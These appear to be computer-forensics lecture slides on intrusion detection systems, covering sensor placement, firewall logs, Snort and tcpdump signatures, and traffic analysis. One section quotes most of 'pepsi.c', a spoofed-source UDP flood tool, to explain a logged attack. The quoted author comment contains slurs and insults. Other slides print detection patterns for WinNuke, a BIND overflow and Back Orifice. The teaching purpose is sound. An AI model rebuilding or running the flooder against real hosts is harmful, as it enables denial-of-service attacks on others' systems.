COEN 252 Computer Forensics
Intrusion Detection Systems
Book recommendations



Richard Bejtlich: The Tao of Network
Security Monitoring, Addison Wesley,
2005
Stephen Northcutt, Judy Novak:
Network Intrusion Detection, Third
Edition, SANS GIAC, New Riders, 2003
E. Eugene Schultz, Russell Shumway:
Incident Response, New Riders, 2002
IDS Overview

Intrusion Detection System





Host based
Network based (NIDS)
System Integrity Verifiers (SIV)
Log File Monitors
Deception Systems (decoys, honeypots)
IDS Architecture

Raw packet logging


Too much traffic, hence:
Attack detection:

Attack Signatures


Can only find known attacks
Anomaly Detection


Finds deviations from normal traffic
But what is normal traffic?
IDS Architecture

Host Based Intrusion Detection

Looks for changes to critical files.



Tripwire.
Detection of change and recovery to known
good states already provided by MS Windows.
Provide this system with access control.
IDS Architecture

False positives:


Alarms are ringing, but there is no fire.
Example




NIDS reported login attempts.
From within the network, but to remote site.
Logs showed that logons were attempt to
access unavailable network resources.
Traced to workstations attempting to access an
antivirus software update server.
IDS Architecture

False Negatives.


Stealth scans: Traffic at slow rate.
Suspicious traffic can be legitimate:


User forgot password.
Heavy traffic can be taken for a DoS attack.
IDS Architecture

NIDS placement



NIDS limited by traffic.
Switched environments make NIDS difficult
to place.
On network perimeter:

Both sides of firewalls.
IDS Architecture

NIDS data gathering:




With
With
With
With
hubs
SPAN ports
TAPs
inline devices
IDS Architecture

Hubs



Cheap
Performance
bottleneck?
Might not see all
traffic.
IDS Architecture

Switch with SPAN port




Not so cheap
Hard to configure.
Under heavy load, not all
traffic is sent to
monitoring station.
All traffic needs to pass
through a single switch.
IDS Architecture

Test Access Port:




Designed for monitoring
One TAP port sees outside
bound traffic.
Other TAP port sees inside
bound traffic.
Need to reconstruct both
streams.
IDS Architecture

Inline devices

Filtering bridges

Can also be used as a cage.

Filtering bridge can isolate a “caged” workstation.
IDS Architecture

Wireless Monitoring


On a Wireless Access Point (WAP) with
Ethereal and similar tools
Knoppix allows raw 802.11 traffic
IDS Architecture

IDS Sensor Architecture

Machine needs to be able to process
traffic.



<T1: 300 MHz Pentium, 256 MB RAM, 20GB
HD, 32 b PCI bus.
T1 … < T3: 750MHz Pentium, 512 MB RAM, 80
GB HD, 32-64b PCI bus
T3 and higher: 1GHz Pentium, 1GB RAM, 240
GB HD, PCI-X or PCI-Express bus
IDS Architecture

IDS Sensor Architecture

OS




Since sensors are placed on the perimeter, we need
secure OS.
Need open security tools.
BSD preferred: FreeBSD.
Access

In band remote access


More fragile.
Out of band remote access

More cumbersome.
IDS Architecture

Push / Pull


Typically, push detected events to the
analysis platform.
This can be a security issue:

If sensor is observable, observer can detect
sensor configuration.
IDS Architecture

Analyst Console

Critical for performance.

Needs to provide capabilities such as:






False positive detection.
Display filters
Mark events that have already been analyzed
Drill down
 Start with big picture data, then give details.
Correlation
 “Have I seen this before?”
Good reporting
IDS Operations

Anomaly Detection

Based on statistical anomalies, compared
with





CPU utilization
Disk activity
User logins
File activity, etc.
Does not have to understand the cause.
IDS Operations

Application protocol verification

Invalid protocol behavior, such as WinNuke



WinNuke attacker sends “out-of-band” / “urgent”
data to port 139 on a Win95 system.
Unusual behavior such as DNS cache poisoning.
Simple create new logs that can then later
be correlated with other system logs to
show what happened.
IDS Example
UDP Flooding January 1999
08:10:10
08:10:10
08:10:17
08:10:17
08:10:22
08:10:22
08:10:28
08:10:28
08:10:35
08:10:35
08:10:49
08:10:49
08:11:05
08:11:05
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
bobadilla.echo
>
>
>
>
>
>
>
>
>
>
>
>
>
>
192.210.19.198.666: udp 1024 (DF)
192.210.19.198.666: udp 426 (DF)
192.210.19.198.666: udp 1024 (DF)
192.210.19.198.666: udp 426 (DF)
192.210.19.198.666: udp 1024 (DF)
192.210.19.198.666: udp 426 (DF)
192.210.19.62.666: udp 1024 (DF)
192.210.19.62.666: udp 426 (DF)
192.210.19.198.666: udp 1024 (DF)
192.210.19.198.666: udp 426 (DF)
192.210.19.62.666: udp 1024 (DF)
192.210.19.62.666: udp 426 (DF)
192.210.19.62.666: udp 1024 (DF)
192.210.19.62.666: udp 426 (DF)
IDS Example
UDP Flooding January 1999

Example of the Pepsi UDP flood.




Send out UDP packages as fast as possible
Sends UPD packages with a spoofed return
address to an echo port (at Bobadilla).
Echo returns it to the source address.
Two systems under attack.
IDS Example
pepsi.c found on Internet
/*
* pepsi.c
* Random Source Host UDP flooder
*
* Author: Soldier@data-t.org
*
* [12.25.1996]
*
* Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Cheesebal, efudd,
* Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^
* Toasty, [shadow], [magnus] and silitek, oh and Data-T.
*
* Fuck You to: Razor1911 the bigest fucking lamers in the warez comunity,
* Yakuza for ripping my code, #cha0s on the undernet for trying to port
* it to win95, then ircOpers on efnet for being such cocksuckers
* especially prae for trying to call the fbi on me at least 5 times.
* all warez pups i don't know for ripping off honest programers.
* and Dianora for being a lesbian hoe, Srfag..err SrfRog for having an ego
* the size of california.
* AND A BIG HUGE ENORMOUS FUCK YOU TO myc, throwback, crush, asmodean, Piker,
* pireaus, A HUGE FUCKING FUCK to texas.net, and the last HUGEST FUCK IN
* INTERNET HISTORY, AMM.
*
*
* Disclaimer since i don't wanna go to jail
* - this is for educational purposes only * */
IDS Example
pepsi.c found on Internet
#define FRIEND "My christmas present to the internet Soldier"
#define VERSION "Pepsi.c v1.6"
#define DSTPORT 7
#define SRCPORT 19
#define PSIZE 1024
#define DWAIT 1
IDS Example
pepsi.c found on Internet
void usage(char *pname)
{
printf("usage:\n ");
printf("%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait]
<dest>\n\n", pname);
printf("\t-s <src> : source where packets are comming from\n");
printf("\t-n <num> : number of UDP packets to send\n");
printf("\t-p <size> : Packet Size [Default is 1024]\n");
printf("\t-d <port> : Destination Port [Default is %.2d]\n", DSTPORT);
printf("\t-o <port> : Source Port [Default is %.2d]\n", SRCPORT);
printf("\t-w <time> : Wait time between packets [Default is 1]\n");
printf("\t<dest> : destination \n"); printf("\n");
exit(EXIT_SUCCESS);
}
IDS Example
pepsi.c found on Internet
if (srchost && *srchost)
ip->saddr = resolve(srchost);
ip->daddr = dst;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(srcport);
udp->dest = htons(dstport);
udp->len = htons(sizeof(struct udphdr) + psize);
IDS Example
pepsi.c found on Internet
if (sendto(sen, packet, sizeof(struct iphdr) +
sizeof(struct udphdr) + psize, 0,
(struct sockaddr *) &dstaddr,
sizeof(struct sockaddr_in)) == (-1)) {
puts("[*] Error sending Packet");
perror("SendPacket");
exit(EXIT_FAILURE);
}
IDS Example
pepsi.c found on Internet






This is almost the complete code.
Default ports are defined, but can be
overwritten.
Port 666 is used by Doom game.
User input allows change from default
values.
Package is crafted.
And sent.
IDS and Firewalls

Firewalls perturb traffic:


Three way handshake is disrupted.
Firewall logs are primary evidence and
are primary method of intrusion
detection.
IDS and Firewalls

Firewall Log





IP packet discarded from 222.168.40.21 for port
1880.
IP packet discarded from 222.168.40.21 for port
1882.
IP packet discarded from 222.168.40.21 for port
1881.
This firewall log gives us a fact, but not
enough to figure out what is happening.
Is this TCP? UDP?
IDS and Firewalls

Another log from a different vendor:



UDP packet dropped: Source 123.4.56.78,
2820, WAN – Destination 169.8.27.38
33430 LAN - - Rule 33
This entry gives us enough information:
Source port, destination port, protocol.
Traceroute from outside web server.
IDS and Firewalls

Yet another log:



Myhost kernel: IN=eth0 OUT = MAC =
00:80:80:80:98:ae:3e:32:12:45:a0
SRC=1.1.1.1 Dst=192.168.127.45 LEN=38
TOS = 0x00 PREC=0x00 TTL=1 ID=31758
PROTO=UDP SPT=32789 DPT=33433
This is another traceroute.
Best log seen.
IDS and Signatures

Signature Types


Header-based: Inspect the packet header
Pattern-matching: Match for content string





Atomic: match in a single packet
Stateful: match on reassembled packets
Protocol-based: Inspect based on RFC
Heuristic-based: Inspect based on statistics
Anomaly-based:
IDS and Signatures

Header-based:



Destination port TCP 139 and Out of Band
tcpdump “dst port 139 and tcp[13] &
0x20!=0 and tcp[18]!=0”
Detects the old WinNuke attack.

WinNuke packets go to NetBIOS ports such as
139, have an urgent flag set, and have a nonzero urgent value.
IDS and Signatures

Pattern-matching: looking for the tsig
overflow attempt.



alert udp $External_Net any -> $Home_Net 53 \
(msg: “Exploit named tsig overflow attempt”;\
content: “|80 00 07 00 00 00 00 00 01 3F 00 01 02|/bin/sh”;
Snort rule looking for a pattern for a BIND transaction
signature tsig code.
Looks for specific byte code to UDP destination port 53.
IDS and Signatures

Heuristic-based



Look for large ICMP packets
alert icmp any -> $HOME_NET (msg:\
“Large ICMP packet”; dsize > 800);
Such large ICMP packets are unusual.
IDS and Signatures

Encryption:




Back Orifice uses a simple encryption
scheme to protect its packet payload.
All BO packets start with *!*QWTY?
Barbwire uses Blowfish encryption.
Challenge for string searches.
IDS and Signatures

Fragmentation



Allows to hide attack strings.
Stateful analysis is more cumbersome.
Too Generic

Superscan:



4500 0024 c5eb 0000 6f01 a144 4201 f789
c08a 6b42 0800 fc46 0200 f9b8 0000 0000
0000 0000 0000 0000 0000 0000 0000
alert icmp !$HOME_NET any -> $ HOME_NET any (msg:
“Superscan echo”; content “|00000000000000000000|”;
itype:8; dsize: 8;)
Too many matches.
Traffic Analysis

Look for crafted packets:


Cheops uses TCP with both SYN and FIN flag set.
This is impossible in normal TCP.
Basic traffic characteristics






To, from, date, time
Information on source host
Weight or severity
Size, service, type class
Tiny fragments, e.g. generated by nMap.
Strange TTL values
Traffic Analysis

Link Graphs


A message passing from A to B generates
a link between A and B.
Links are weighted by the number of
connections.
Traffic Analysis

Link Graphs
J
D
X
A
C
B
F
G

Ping Scan
E
H
I
Traffic Analysis
Intellitactics NSM
Traffic Analysis

Short Time Profile Changes

Profile: Statistics on connections, port
spread, services, etc.